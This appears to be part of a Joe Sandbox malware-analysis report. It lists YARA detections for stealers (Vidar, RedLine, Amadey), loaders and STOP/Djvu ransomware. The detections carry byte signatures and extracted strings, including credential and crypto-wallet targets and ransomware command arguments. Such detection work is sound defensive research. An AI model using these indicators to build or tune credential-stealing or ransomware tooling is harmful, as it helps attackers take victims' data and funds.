0000002C.00000002.2602223734.0000000002420000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000002C.00000002.2602223734.0000000002420000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000F.00000002.2302460111.000000000217C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000020.00000002.2425574337.00000000020A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000031.00000002.2949652811.0000000002FEA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000031.00000002.2954823218.00000000056F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.2007809897.0000000002111000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.2007809897.0000000002111000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000011.00000003.4056210973.0000000000B14000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000026.00000002.2698187948.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000011.00000002.4134687572.0000000000B5C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000031.00000002.2949652811.0000000002E62000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.2007419730.00000000006C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.2007419730.00000000006C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000031.00000002.2949652811.0000000002FD6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000026.00000002.2702013439.0000000000537000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2007384509.00000000006B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000002C.00000002.2600617926.00000000008DD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x740c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000020.00000003.2372861867.00000000020B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.2288944842.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000002.2288944842.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7400:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000022.00000002.2440436850.0000000002156000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000012.00000002.2324721970.0000000002400000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000012.00000002.2324721970.0000000002400000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000000.00000002.1746162536.00000000006B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.1674427121.0000000002330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000008.00000002.2249920572.0000000002289000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000011.00000002.4132494620.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.4132494620.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7400:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Process Memory Space: C06.exe PID: 6836	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: C06.exe PID: 6836	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39e64:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: C06.exe PID: 7096	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: C06.exe PID: 7096	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x5c3a8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: C06.exe PID: 5104	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: C06.exe PID: 5104	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x44a39:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: yiueea.exe PID: 3568	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Process Memory Space: C06.exe PID: 2076	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: C06.exe PID: 2076	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x47dc1:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: C06.exe PID: 3672	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: C06.exe PID: 3672	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: C06.exe PID: 3672	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3653d:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: C06.exe PID: 2540	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: C06.exe PID: 2540	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: C06.exe PID: 2540	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4e47f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 9EB5.exe PID: 5356	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
Process Memory Space: C06.exe PID: 3616	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: C06.exe PID: 3616	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x361d9:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: build2.exe PID: 6768	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 3368	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 3368	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build2.exe PID: 3368	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x36a761:$a1: BinanceChainWallet 0x2d6494:$a2: wallet.dat 0x2d2292:$a3: SOFTWARE\monero-project\monero-core 0x26b57c:$b1: CC\%s_%s.txt 0x26b5c2:$b1: CC\%s_%s.txt 0x26aaf6:$b2: History\%s_%s.txt 0x26afab:$b2: History\%s_%s.txt 0x26aae2:$b3: Autofill\%s_%s.txt 0x26af98:$b3: Autofill\%s_%s.txt
Process Memory Space: C06.exe PID: 3808	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: C06.exe PID: 3808	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3a159:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: callcustomer.exe PID: 6432	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: C06.exe PID: 5172	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: C06.exe PID: 5172	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4617b:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 110 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.file.exe.2330000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
30.2.yiueea.exe.2c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.2.yiueea.exe.2c0000.0.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7800:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
7.2.vdhbahw.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
38.2.build2.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
34.2.C06.exe.23f15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
34.2.C06.exe.23f15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
34.2.C06.exe.23f15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
35.2.build2.exe.3ee15a0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
32.2.6545.exe.20a0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.2.C06.exe.24015a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.2.C06.exe.24015a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.2.C06.exe.24015a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
41.2.C06.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
41.2.C06.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
41.2.C06.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.374E.exe.e00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.374E.exe.e00000.0.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7800:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
35.2.build2.exe.3ee15a0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
38.2.build2.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
32.2.6545.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
17.0.yiueea.exe.2c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.0.yiueea.exe.2c0000.0.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7800:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
11.2.C06.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.C06.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.C06.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
44.2.build3.exe.24215a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
44.2.build3.exe.24215a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
8.2.C06.exe.23215a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.C06.exe.23215a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.C06.exe.23215a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
30.0.yiueea.exe.2c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.0.yiueea.exe.2c0000.0.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7800:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
34.2.C06.exe.23f15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
